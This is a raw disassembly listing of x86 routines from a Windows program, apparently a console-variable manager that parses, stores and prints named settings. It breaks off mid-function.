sub_40B080	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B0C2
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B0C2:				; CODE XREF: sub_40B080+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B080	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0F0	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B112
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B112:				; CODE XREF: sub_40B0F0+6j
		pop	ecx
		retn
sub_40B0F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B130	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B130	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B1F0	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B1F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B1F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B290	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_40B290	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B410	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B410	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B4B0	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B4B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B4B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B5A0	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B621
		mov	edi, [esp+10h+arg_0]


loc_40B5E6:				; CODE XREF: sub_40B5A0+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B62B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B5E6


loc_40B621:				; CODE XREF: sub_40B5A0+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B62B:				; CODE XREF: sub_40B5A0+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B5A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B670:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438C98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B751
		mov	byte ptr [esi+19h], 1


loc_40B751:				; CODE XREF: sub_40B700+4Bj
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B780	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7D5
		mov	byte ptr [esi+19h], 1


loc_40B7D5:				; CODE XREF: sub_40B780+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B780	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B861
		mov	byte ptr [esi+19h], 1


loc_40B861:				; CODE XREF: ___:0040B85Bj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B890:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B8C0
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B8C0:				; CODE XREF: ___:0040B898j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B900:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B930
		mov	byte ptr [esi+19h], 1


loc_40B930:				; CODE XREF: ___:0040B92Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B950:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438CD0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA92
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA8B


loc_40B9F6:				; CODE XREF: ___:0040BA85j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 2870000h
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B9F6


loc_40BA8B:				; CODE XREF: ___:0040B9F0j
		mov	al, 1
		jmp	loc_40BC1A
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: ___:0040B987j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB25
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC18
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_4	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BC1A
; ---------------------------------------------------------------------------


loc_40BB25:				; CODE XREF: ___:0040BAA4j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC18
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC18
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC1A
; ---------------------------------------------------------------------------


loc_40BC18:				; CODE XREF: ___:0040BAE0j
					; ___:0040BB37j ...
		xor	al, al


loc_40BC1A:				; CODE XREF: ___:0040BA8Dj
					; ___:0040BB20j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCF0	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BCF0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD30	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BD30	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDA0	proc near		; CODE XREF: sub_401451j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014A6
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BDA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDE0	proc near		; CODE XREF: sub_401C71j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014A6
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BDE0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE10	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BE10	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE50	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BE50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEA0	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BEA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEC0	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEE0	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BEE0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF10	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BF40	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BF40	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014A6
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BFE0	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C03A


loc_40BFF8:				; CODE XREF: sub_40BFE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
